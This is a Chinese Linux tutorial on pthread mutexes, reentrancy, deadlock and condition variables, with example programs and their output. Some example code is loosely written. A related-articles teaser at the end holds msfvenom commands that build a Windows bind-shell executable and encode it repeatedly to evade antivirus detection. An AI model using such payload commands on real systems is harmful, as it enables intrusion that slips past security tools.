【Linux】第十三章 多线程(线程互斥+线程安全和可重入+死锁+线程同步)

news2024/11/16 21:56:45

🏆个人主页:企鹅不叫的博客

​ 🌈专栏

  • C语言初阶和进阶
  • C项目
  • Leetcode刷题
  • 初阶数据结构与算法
  • C++初阶和进阶
  • 《深入理解计算机操作系统》
  • 《高质量C/C++编程》
  • Linux

⭐️ 博主码云gitee链接:代码仓库地址

⚡若有帮助可以【关注+点赞+收藏】,大家一起进步!

💙系列文章💙


【Linux】第一章环境搭建和配置

【Linux】第二章常见指令和权限理解

【Linux】第三章Linux环境基础开发工具使用(yum+rzsz+vim+g++和gcc+gdb+make和Makefile+进度条+git)

【Linux】第四章 进程(冯诺依曼体系+操作系统+进程概念+PID和PPID+fork+运行状态和描述+进程优先级)

【Linux】第五章 环境变量(概念补充+作用+命令+main三个参数+environ+getenv())

【Linux】第六章 进程地址空间(程序在内存中存储+虚拟地址+页表+mm_struct+写实拷贝+解释fork返回值)

【Linux】第七章 进程控制(进程创建+进程终止+进程等待+进程替换+min_shell)

【Linux】第八章 基础IO(open+write+read+文件描述符+重定向+缓冲区+文件系统管理+软硬链接)

【Linux】第九章 动态库和静态库(生成原理+生成和使用+动态链接)

【Linux】第十章 进程间通信(管道+system V共享内存)

【Linux】第十一章 进程信号(概念+产生信号+阻塞信号+捕捉信号)

【Linux】第十二章 多线程(线程概念+线程控制)


文章目录

  • 💙系列文章💙
  • 💎一、线程互斥
    • 🏆1.相关概念
      • 临界资源和临界区
      • 线程互斥和原子性
    • 🏆2.互斥量mutex
    • 🏆3.互斥量接口
      • pthread_mutex_init
      • pthread_mutex_lock
      • pthread_mutex_unlock
      • pthread_mutex_destroy
    • 🏆4.互斥量原理
  • 💎二、线程安全和可重入
    • 🏆1.概念
    • 🏆2.线程不安全的情况
    • 🏆3.线程安全的情况
    • 🏆4.不可重入的情况
    • 🏆5.可重入的情况
    • 🏆6.可重入和线程安全的联系
    • 🏆7.可重入和线程安全的区别
  • 💎三、死锁
    • 🏆1.概念
    • 🏆2.死锁的四个必要条件
    • 🏆3.避免死锁
  • 💎四、线程同步
    • 🏆1.同步与竞态条件
    • 🏆2.条件变量
      • 条件变量和互斥锁结合使用
    • 🏆3.条件变量函数
      • pthread_cond_init
      • pthread_cond_destroy
      • pthread_cond_wait
      • pthread_cond_broadcast和pthread_cond_signal
      • 使用规范


💎一、线程互斥

🏆1.相关概念

线程互斥指的是在多个线程间对临界资源进行争抢访问时有可能会造成数据二义

  • 临界资源: 多线程执行流共享的资源叫做临界资源。
  • 临界区: 每个线程内部,访问临界资源的代码,就叫做临界区。
  • 互斥: 任何时刻,互斥保证有且只有一个执行流进入临界区,访问临界资源,通常对临界资源起保护作用。
  • 原子性: 不会被任何调度机制打断的操作,该操作只有两态,要么完成,要么未完成。

临界资源和临界区

实例:全局区定义一个count变量,让新线程每隔一秒对该变量加一操作,让主线程每隔一秒获取count变量的值进行打印

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

int count = 0;
void* Routine(void* arg)
{
	while (1){
		count++;
		sleep(1);
	}
	pthread_exit(nullptr);
}
int main()
{
	pthread_t tid;
	pthread_create(&tid, nullptr, Routine, nullptr);
	while (1){
		printf("count: %d\n", count);
		sleep(1);
	}
	pthread_join(tid, NULL);
	return 0;
}

结果:主线程每一秒打印一次,新线程每一秒增加一次

[Jungle@VM-20-8-centos:~/lesson34]$ ./main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5

全局变量count就叫做临界资源,因为它被多个执行流共享,而主线程中的printf和新线程中count++就叫做临界区,因为这些代码对临界资源进行了访问。

线程互斥和原子性

多个执行流都对临界资源进行操作,那么此时就可能导致数据不一致的问题。解决该问题的方案就叫做互斥,互斥的作用就是,保证在任何时候有且只有一个执行流进入临界区对临界资源进行访问。

实例:实现一个抢票系统,我们将记录票的剩余张数的变量定义为全局变量,主线程创建四个新线程,让这四个新线程进行抢票,当票被抢完后这四个线程自动退出。

#include <stdio.h>
#include <unistd.h>
#include <pthread.h>

int tickets = 1000;
void* TicketGrabbing(void* arg)
{
	char* name = (char*)arg;
	while (1){
		if (tickets > 0){
			usleep(10000);
			printf("[%s] 拿到票了, 还剩下: %d\n", name, --tickets);
		}
		else{
         printf("[%s]没拿到票\n", name);
			break;
		}
	}
	pthread_exit(nullptr);
}
int main()
{
	pthread_t t1, t2, t3, t4;
	pthread_create(&t1, NULL, TicketGrabbing, (void*)"thread 1");
	pthread_create(&t2, NULL, TicketGrabbing, (void*)"thread 2");
	pthread_create(&t3, NULL, TicketGrabbing, (void*)"thread 3");
	pthread_create(&t4, NULL, TicketGrabbing, (void*)"thread 4");

	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	pthread_join(t3, NULL);
	pthread_join(t4, NULL);
	return 0;
}

结果:出现了剩余票数为负数的情况

[thread 1] 拿到票了, 还剩下: 3
[thread 4] 拿到票了, 还剩下: 2
[thread 2] 拿到票了, 还剩下: 1
[thread 3] 拿到票了, 还剩下: 0
[thread 3]没拿到票
[thread 1] 拿到票了, 还剩下: -1
[thread 1]没拿到票
[thread 4] 拿到票了, 还剩下: -2
[thread 4]没拿到票
[thread 2] 拿到票了, 还剩下: -3
[thread 2]没拿到票

原因:

  • if语句判断条件为真以后,代码可以并发的切换到其他线程。
  • usleep中可能有很多个线程会进入该代码段。
  • --ticket操作本身就不是一个原子操作。

--ticket实际操作:

  1. load:将共享变量tickets从内存加载到寄存器中。
  2. update:更新寄存器里面的值,执行-1操作。
  3. store:将新值从寄存器写回共享变量tickets的内存地址。

对应汇编操作:

movl  ticket(%rip), %eax     # 把ticket的值加载到eax寄存器中                                                                                               
subl  $1, %eax               # 把eax寄存器中的值减1
movl  %eax, ticket(%rip)     # 把eax寄存器中的值赋给ticket变量

当一个线程正准备执行第三条指令时,另一个线程恰好执行了第二条指令,此时寄存器中的值又减了一次,当第一个线程执行完第三条指令时,ticket其实已经减了两次。所以这个操作不是一个原子操作。

🏆2.互斥量mutex

解决:

  • 代码必须要有互斥行为:当代码进入临界区执行时,不允许其他线程进入该临界区。
  • 如果多个线程同时要求执行临界区的代码,并且临界区没有线程在执行,那么只能允许一个线程进入该临界区。
  • 如果线程不在临界区中执行,那么该线程不能阻止其他线程进入临界区。

用🔒可以实现上述需求,这把锁叫互斥量

在这里插入图片描述

🏆3.互斥量接口

pthread_mutex_init

互斥量其实就是一把锁,是一个类型为pthread_mutex_t 的变量

int pthread_mutex_init(pthread_mutex_t *restrict mutex, 
const pthread_mutexattr_t *restrict attr); 

功能:初始化互斥量

参数:

restrict mutex:要初始化的锁
restrict attr:不关心,置空
返回值: 成功返回0,失败返回错误码

注意:

  1. 互斥量处于未锁状态,该函数会将互斥量锁定,同时返回成功
  2. 函数调用时,其他线程已经锁定互斥量,或者存在其他线程同时申请互斥量,但没有竞争到互斥量,那么pthread_ lock调用会陷入阻塞(执行流被挂起),等待互斥量解锁再去竞争锁
  3. 静态分配:pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;,不用再初始化和销毁锁了

pthread_mutex_lock

int pthread_mutex_lock(pthread_mutex_t *mutex);

功能:互斥量加锁

参数:

  • mutex:要加的锁

返回值: 成功返回0,失败返回错误码

注意:

  1. 互斥量处于未锁状态,该函数会将互斥量锁定,同时返回成功。
  2. 发起函数调用时,其他线程已经锁定互斥量,或者存在其他线程同时申请互斥量,但没有竞争到互斥量,那么pthread_mutex_lock调用会陷入阻塞(执行流被挂起),等待互斥量解锁。

pthread_mutex_unlock

int pthread_mutex_unlock(pthread_mutex_t *mutex);

功能:互斥量解锁

参数:

  • mutex:要解的锁

返回值: 成功返回0,失败返回错误码

pthread_mutex_destroy

int pthread_mutex_destroy(pthread_mutex_t *mutex);

功能:互斥量销毁锁

参数:

  • mutex:要销毁锁

返回值: 成功返回0,失败返回错误码

注意:

  • 使用 PTHREAD_ MUTEX_ INITIALIZER 初始化的互斥量不需要销毁
  • 不要销毁一个已经加锁的互斥量
  • 已经销毁的互斥量,要确保后面不会有线程再尝试加锁
  • 加锁的粒度要够小

实例:每一个线程要进入临界区之前都必须先申请锁,只有申请到锁的线程才可以进入临界区对临界资源进行访问,并且当线程出临界区的时候需要释放锁,这样才能让其余要进入临界区的线程继续竞争锁

#include <stdio.h>
#include <unistd.h>
#include <pthread.h>

int tickets = 1000;
pthread_mutex_t mutex;// 创建锁变量

void* TicketGrabbing(void* arg)
{
	char* name = (char*)arg;
	while (1){
     pthread_mutex_lock(&mutex);// 加锁
		if (tickets > 0){
			usleep(10000);
			printf("[%s] 拿到票了, 还剩下: %d\n", name, --tickets);
         pthread_mutex_unlock(&mutex);// 解锁
		}
		else{
         printf("[%s]没拿到票\n", name);
         pthread_mutex_unlock(&mutex);// 解锁
			break;
		}
	}
	pthread_exit(nullptr);
}
int main()
{
 // 初始化锁
 pthread_mutex_init(&mutex, NULL);
	pthread_t t1, t2, t3, t4;
	pthread_create(&t1, NULL, TicketGrabbing, (void*)"thread 1");
	pthread_create(&t2, NULL, TicketGrabbing, (void*)"thread 2");
	pthread_create(&t3, NULL, TicketGrabbing, (void*)"thread 3");
	pthread_create(&t4, NULL, TicketGrabbing, (void*)"thread 4");

	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	pthread_join(t3, NULL);
	pthread_join(t4, NULL);
 // 销毁锁
 pthread_mutex_destroy(&mutex);
	return 0;
}

结果:此时在抢票过程中就不会出现票数剩余为负数的情况

[thread 3] 拿到票了, 还剩下: 5
[thread 3] 拿到票了, 还剩下: 4
[thread 3] 拿到票了, 还剩下: 3
[thread 3] 拿到票了, 还剩下: 2
[thread 3] 拿到票了, 还剩下: 1
[thread 3] 拿到票了, 还剩下: 0
[thread 3]没拿到票
[thread 1]没拿到票
[thread 4]没拿到票
[thread 2]没拿到票
  • 在大部分情况下,加锁本身都是有损于性能的事,它让多执行流由并行执行变为了串行执行
  • 锁的作用: 进行临界资源的保护,是所有执行流都应该遵守的标准。
  • 锁本身就是临界资源,所以锁本身需要先保证自身安全申请锁的过程不能出现中间态,必须保证原子性

🏆4.互斥量原理

加锁后的原子性:引入互斥量之后,当一个线程申请到所之后,另一个线程也要申请锁的话只能被阻塞,对于第二个线程而言,第一个线程的操作是原子的

临界区内的线程可能被被切换:该线程被切走,其他线程也无法进入临界区进行资源访问,因为此时该线程是拿着锁被切走的,锁没有被释放也就意味着其他线程无法申请到锁,也就无法进入临界区进行资源访问了,必须等到该线程执行完临界区代码并且释放锁之后才能申请锁

锁就必须被保护起来:锁本身也是临界资源,也是需要被保护的,锁是自己保护自己的

下面是lock和unlock

lock:
	movb $0, %a1     # 把0值放进寄存器a1里
	xchgb %a1, mutex # 交换a1寄存器的内容和锁的值(无线程使用锁时,metux的值为1if (%a1 > 0)
		return 0; # 得到锁
	else
		挂起等待;
	goto lock;
unlock:
	movb $1 mutex  #把1赋给锁	
	唤醒等待的线程;
	return 0;

申请过程:

  1. 对寄存器的内容进行清0
  2. 把mutex的值(被使用值为0,未被使用值为1)和寄存器的内容进行交换
  3. 最后判断al寄存器中的值是否大于0,寄存器的内容为1代表得到了锁,为0代表未得到锁,要挂起等待

释放过程:

  1. 将内存中的mutex置回1。
  2. 唤醒等待mutex的线程,让它们继续竞争申请锁。

💎二、线程安全和可重入

🏆1.概念

  • 线程安全:在多线程编程中,多个线程对临界资源进行争抢访问而不会造成数据二义或程序逻辑混乱的情况,线程安全的实现,通过同步与互斥实现,通过互斥锁和信号量实现.
  • 重入: 同一个函数被不同的执行流调用,当前一个流程还没有执行完,就有其他的执行流再次进入,我们称之为重入。一个函数在重入的情况下,运行结果不会出现任何不同或者任何问题,则该函数被称为可重入函数,否则是不可重入函数。

🏆2.线程不安全的情况

  • 不保护共享变量的函数。
  • 函数状态随着被调用,状态发生变化的函数。
  • 返回指向静态变量指针的函数。
  • 调用线程不安全函数的函数。

🏆3.线程安全的情况

  • 每个线程对全局变量或者静态变量只有读取的权限,而没有写入的权限,一般来说这些线程是安全的
  • 类或者接口对于线程来说都是原子操作
  • 多个线程之间的切换不会导致该接口的执行结果存在二义性

🏆4.不可重入的情况

  • 调用了malloc/free函数,因为malloc函数是用全局链表来管理堆的。
  • 调用了标准I/O库函数,标准I/O可以的很多实现都是以不可重入的方式使用全局数据结构。
  • 可重入函数体内使用了静态的数据结构。

🏆5.可重入的情况

  • 不使用全局变量或静态变量
  • 不使用用malloc或者new开辟出的空间
  • 不调用不可重入函数
  • 不返回静态或全局数据,所有数据都有函数的调用者提供
  • 使用本地数据,或者通过制作全局数据的本地拷贝来保护全局数据

🏆6.可重入和线程安全的联系

  • 可重入函数是线程安全函数的一种
  • 线程安全不一定是可重入的(不一定发生线程安全问题),而可重入函数则一定是线程安全的。
  • 如果将对临界资源的访问加上锁,则这个函数是线程安全的,但如果这个重入函数若锁还未释放则会产生死锁,因此是不可重入的。

🏆7.可重入和线程安全的区别

  • 可重入函数是线程安全函数的一种。
  • 线程安全不一定是可重入的,而可重入函数则一定是线程安全的。
  • 如果对临界资源的访问加上锁,则这个函数是线程安全的,但如果这个重入函数的锁还未释放则会产生死锁,因此是不可重入的。

💎三、死锁

🏆1.概念

概念: 死锁是指两个或两个以上的进程在执行过程中,由于竞争资源或者由于彼此通信而造成的一种阻塞的现象,若无外力作用,它们都将无法推进下去。此时称系统处于死锁状态或系统产生了死锁,这些永远在互相等待的进程称为死锁进程。

单执行流也可能会产生死锁,一次性申请两个锁,第一个锁申请成功,第二个锁申请时,由于已经申请过了,所以第二个锁会挂起,但是第一个锁还没有释放,而第二个锁一直在自己手上,所以执行流不会唤醒

🏆2.死锁的四个必要条件

  • 互斥条件: 一个资源每次只能被一个执行流使用。
  • 请求与保持条件: 一个执行流因请求资源而阻塞时,对已获得的资源保持不放。
  • 不剥夺条件: 一个执行流已获得的资源,在未使用完之前,不能强行剥夺。
  • 循环等待条件: 若干执行流之间形成一种头尾相接的循环等待资源的关系。

🏆3.避免死锁

  • 破坏死锁的四个必要条件。
  • 加锁顺序一致。
  • 避免锁未释放的场景。
  • 资源一次性分配。
  • 死锁检测算法和银行家算法

实例:创建两个线程申请锁

#include <stdio.h>
#include <pthread.h>

pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;
void* Routine1(void* arg)
{
    char* name = (char*)arg;
    while(1){
        pthread_mutex_lock(&mutex1);
        printf("%s is running...\n", name);
    }
    pthread_mutex_unlock(&mutex1);
	pthread_exit(NULL);
}
void* Routine2(void* arg)
{
    char* name = (char*)arg;
    while(1){
        pthread_mutex_lock(&mutex2);
        printf("%s is running...\n", name);
    }
    pthread_mutex_unlock(&mutex2);
	pthread_exit(NULL);
}
int main()
{
	pthread_t tid1, tid2;
	pthread_create(&tid1, NULL, Routine1, (void*)"thread 1");
	pthread_create(&tid2, NULL, Routine2, (void*)"thread 2");

	pthread_join(tid1, NULL);
	pthread_join(tid2, NULL);
	return 0;
}

结果:互相不释放锁

[Jungle@VM-20-8-centos:~/lesson35]$ ./main
thread 1 is running...
thread 2 is running...

💎四、线程同步

🏆1.同步与竞态条件

同步: 在保证数据安全的前提下,让线程能够按照某种特定的顺序访问临界资源,从而有效避免饥饿问题,提高效率,这就叫做同步。
竞态条件: 因为时序问题,而导致程序异常,我们称之为竞态条件。

🏆2.条件变量

概念: 利用线程间共享的全局变量进行同步的一种机制

条件变量主要包括两个动作:

  • 一个线程等待条件变量的条件成立而被挂起。
  • 另一个线程使条件成立后唤醒等待的线程。

条件变量和互斥锁结合使用

条件变量和互斥锁结合使用:

  • 条件变量会牵扯到共享数据的变化,所以一定要用互斥锁来保护,没有互斥锁就无法安全的获取和修改共享数据
  • 在调用pthread_cond_wait函数时,还需要将对应的互斥锁传入,此时当线程因为某些条件不满足需要在该条件变量下进行等待时,就会自动释放该互斥锁。

🏆3.条件变量函数

pthread_cond_init

int pthread_cond_init(pthread_cond_t *restrict cond,  const pthread_condattr_t *restrict attr);

功能:初始化条件变量,动态分配

参数:

  • restrict cond:要初始化的条件变量
  • restrict attr:不关心,置空

返回值说明:

  • 条件变量初始化成功返回0,失败返回错误码。

以下是静态分配,不需要初始化函数和销毁函数

pthread_cond_t cond = PTHREAD_COND_INITIALIZER;

pthread_cond_destroy

int pthread_cond_destroy(pthread_cond_t *cond);

功能:销毁条件变量

参数说明:

  • cond:需要销毁的条件变量。

返回值说明:

  • 条件变量销毁成功返回0,失败返回错误码。

pthread_cond_wait

int pthread_cond_wait(pthread_cond_t *restrict cond, pthread_mutex_t *restrict mutex);

功能:等待条件变量满足

参数说明:

  • cond:需要等待的条件变量。
  • mutex:当前线程所处临界区对应的互斥锁。条件变量是实现线程同步的一种手段,如果一个线程进入等待队列还不释放锁资源,这样其他线程也不能够得到锁资源,这样唤醒线程的条件变量永远不可能满足,那么这个线程也将一直等待下去。所以一个线程进入等待队列需要释放自己手中的锁资源来实现真正地同步

返回值说明:

  • 函数调用成功返回0,失败返回错误码。

pthread_cond_broadcast和pthread_cond_signal

int pthread_cond_broadcast(pthread_cond_t *cond);
int pthread_cond_signal(pthread_cond_t *cond);

功能:唤醒等待

区别:

  • pthread_cond_signal函数用于唤醒等待队列中首个线程。
  • pthread_cond_broadcast函数用于唤醒等待队列中的全部线程。

参数说明:

  • cond:唤醒在cond条件变量下等待的线程。

返回值说明:

  • 函数调用成功返回0,失败返回错误码。

实例:用主线程创建三个新线程,让主线程控制这三个新线程活动。这三个新线程创建后都在条件变量下进行等待,直到主线程每一秒发送对应的信息就会唤醒线程

#include <iostream>
#include <cstdio>
#include <unistd.h>
#include <pthread.h>

using namespace std;

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond = PTHREAD_COND_INITIALIZER;

void* Routine(void* arg)
{
	pthread_detach(pthread_self());
	cout << (char*)arg << " run..." << endl;
	while (true){
		pthread_cond_wait(&cond, &mutex); //阻塞在这里,直到被唤醒
		cout << (char*)arg << "活动..." << endl;
	}
}
int main()
{
	pthread_t t1, t2, t3;

	pthread_create(&t1, nullptr, Routine, (void*)"thread 1");
	pthread_create(&t2, nullptr, Routine, (void*)"thread 2");
	pthread_create(&t3, nullptr, Routine, (void*)"thread 3");

	while (true){
		sleep(1);
		//pthread_cond_signal(&cond);//一次唤醒一个进程
     pthread_cond_broadcast(&cond);//一次唤醒所有进程
	}

	return 0;
}

结果:唤醒这三个线程时具有明显的顺序性,根本原因是当这若干个线程启动时默认都会在该条件变量下去等待,而我们每次都唤醒的是在当前条件变量下等待的头部线程,当该线程执行完打印操作后会继续排到等待队列的尾部进行wait,所以我们能够看到一个周转的现象。

[Jungle@VM-20-8-centos:~/lesson35]$ ./main
thread 1 run...
thread 3 run...
thread 2 run...
thread 1活动...
thread 3活动...
thread 2活动...
thread 1活动...
thread 3活动...
thread 2活动...

使用规范

等待条件变量的代码

pthread_mutex_lock(&mutex);
while (条件为假){
	pthread_cond_wait(&cond, &mutex);
	//输出信息
 sleep(1);
	pthread_mutex_unlock(&mutex);
}

唤醒等待线程的代码

pthread_mutex_lock(&mutex);
while(true){
	sleep(1);
	pthread_cond_signal(&cond);
	//输出信息
	pthread_mutex_unlock(&mutex);
}

实例:创建五个线程,四个线程执行run1,上来就在条件变量下等待,另一个线程执行run2,然后无脑唤醒等待队列下的线程

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

pthread_cond_t cond;// 条件变量
pthread_mutex_t mutex;// 锁

void* threadrun1(void* arg)
{
char* name = (char*)arg;
pthread_mutex_lock(&mutex);
while (1){
 pthread_cond_wait(&cond, &mutex);// 挂起,释放锁,当该函数返回时,进入到临界区,重新持有锁
 printf("%s is waked up...\n", name);
 sleep(1);
 pthread_mutex_unlock(&mutex);
}
}

void* threadrun2(void* arg)
{
char* name = (char*)arg;
pthread_mutex_lock(&mutex);
while (1){
 sleep(1);
 // 唤醒一个等待队列中的线程
 pthread_cond_signal(&cond);
 //pthread_cond_broadcast(&cond);
 printf("%s is wakeing up a thread...\n", name);
 pthread_mutex_unlock(&mutex);
}
}

int main()
{
pthread_t pthread1, pthread2, pthread3, pthread4, pthread5;
// 初始化条件变量
pthread_cond_init(&cond, NULL);
pthread_mutex_init(&mutex, NULL);

pthread_create(&pthread1, NULL, threadrun1, (void*)"pthread 1");
pthread_create(&pthread2, NULL, threadrun1, (void*)"pthread 2");
pthread_create(&pthread3, NULL, threadrun1, (void*)"pthread 3");
pthread_create(&pthread4, NULL, threadrun1, (void*)"pthread 4");
pthread_create(&pthread5, NULL, threadrun2, (void*)"pthread 5");

pthread_join(pthread1, NULL);
pthread_join(pthread2, NULL);
pthread_join(pthread3, NULL);
pthread_join(pthread4, NULL);
pthread_join(pthread5, NULL);

pthread_mutex_destroy(&mutex);
pthread_cond_destroy(&cond);
return 0;
}

结果:第五个进程按顺序将前面的四个进程唤醒

[Jungle@VM-20-8-centos:~/lesson35]$ ./main
pthread 5 is wakeing up a thread...
pthread 1 is waked up...
pthread 5 is wakeing up a thread...
pthread 2 is waked up...
pthread 5 is wakeing up a thread...
pthread 3 is waked up...
pthread 5 is wakeing up a thread...
pthread 4 is waked up...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22847.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第四章 使用Vitepress搭建文档网站

第四章 使用Vitepress搭建文档网站 文档建设一般会是一个静态网站的形式 &#xff0c;这次采用 Vitepress 完成文档建设工作。 Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于&#xff0c;可以使用流行的 Markd…

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进&#xff1f;请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树&#xff0c;被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡&#xff1b;导致带宽利用率、设备资源利用率较低 &#xff08;1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表&#xff08;完整版&#xff09;一、介绍二、compareTo()使用场景场景一&#xff1a;数值型字符串比较场景二&#xff1a;排序比较场景三&#xff1a;对相同结构的日期比较三、源码分析四、全量ASCII 码表&#xff08;完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年&#xff0c;所有浏览器都完整的支持ECMAScript 5.1&#xff0c;旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日&#xff0c;ECMA国际组织发布了 ECMAScript 的第六版&#xff0c;该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好&#xff0c;我是阿阳 今天给大家分享CSGO搬砖项目&#xff0c;这个是最为稳定利润可观的项目&#xff0c;一个月净赚3万 阿阳网络创始人&#xff0c;8年互联网项目实战经验&#xff0c;个人ip打造【玩赚steam&#xff0c;3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法&#xff1a; 一种是继承Thread类&#xff0c;重写run方法&#xff1a; public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源&#xff0c;他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用&#xff0c;打印结果就会混乱输出结果&#xff1b;如果一个内存资源被多个进程同时修改&#xff0c;进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月17日&#x1f334; &#x…

Java多线程从基本概念到精通大神,大佬给我们铺平学习之路

Java 提供了多线程编程的内置支持&#xff0c;让我们可以轻松开发多线程应用。 Java 中我们最为熟悉的线程就是 main 线程——主线程。 一个进程可以并发多个线程&#xff0c;每条线程并行执行不同的任务。线程是进程的基本单位&#xff0c;是一个单一顺序的控制流&#xff0c;…

常见的限流算法与实现

限流的实现 常见的限流算法&#xff1a; 限流是对某一时间窗口内的请求数进行限制&#xff0c;保持系统的可用性和稳定性&#xff0c;防止因流量暴增而导致的系统运行缓慢或宕机。 常见的限流算法有三种&#xff1a; 计数器限流(固定窗口) 原理&#xff1a; 时间线划分为多…

Dubbo3.0入门-Java版

Dubbo 简介 ​ Apache Dubbo 是一款 RPC 服务开发框架&#xff0c;用于解决微服务架构下的服务治理与通信问题&#xff0c;官方提供了 Java、Golang 等多语言 SDK 实现。使用 Dubbo 开发的微服务原生具备相互之间的远程地址发现与通信能力&#xff0c; 利用 Dubbo 提供的丰富服…

【软件测试】测试人终将迎来末路?测试人的我35岁就坐等失业?

目录&#xff1a;导读一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;一句话萦绕在耳畔测试乃至测开…

02 LaTex之小tips

1.运行 2.头&#xff0b;尾 \documentclass[11pt]{article}\usepackage{algorithm, algpseudocode} \usepackage{amsmath,amssymb,amsthm} \usepackage{mathrsfs}% huaxie zimu \textwidth 16cm\textheight 22cm\oddsidemargin0cm\evensidemargin\oddsidemargin\usepackage{un…

Java#17(static)

目录 一.静态关键字static 1.静态变量(被static修饰的成员变量) 2.静态方法(被static修饰的成员方法) 扩展:工具类的简单使用 三.static关键字的注意事项 一.静态关键字static 1.静态变量(被static修饰的成员变量) 特点: (1)被该类的所有对象共享 (2)不属于对象,属于类 (3)…

版权交易平台app开发,构建版权元宇宙生态

近年来在国家的大力宣传推广下&#xff0c;人们在版权方面的保护意识逐步提高&#xff0c;大力发展版权交易市场&#xff0c;不仅是响应国家号召的体现&#xff0c;更是保护公民合法权益的重要举措。版权交易平台app的开发为创业者提供了一个全新投资方向&#xff0c;同时app还…

带你认识工厂类设计模式——简单工厂工厂方法抽象工厂简单抽象工厂反射简单抽象工厂

工厂类设计模式简单工厂模式简单工厂模式类图简单工厂实现代码实现小结工厂方法模式工厂方法模式类图工厂方法模式代码实现小结抽象工厂模式抽象工厂模式类图抽象工厂模式代码实现小结&#xff1a;用简单工厂改进抽象工厂模式简单抽象工厂模式类图简单抽象工厂模式代码实现小结…

高项 人力资源管理论文

4个过程&#xff1a; 人力资源管理简单可以归纳为以下四点&#xff1a;明确需要的人&#xff08;&#xff08;制定人力资源管理计划&#xff09;&#xff0c;找到合适的人&#xff08;组建项目团队&#xff09;&#xff0c;用好身边的人&#xff08;建设项目团队&#xff09;&…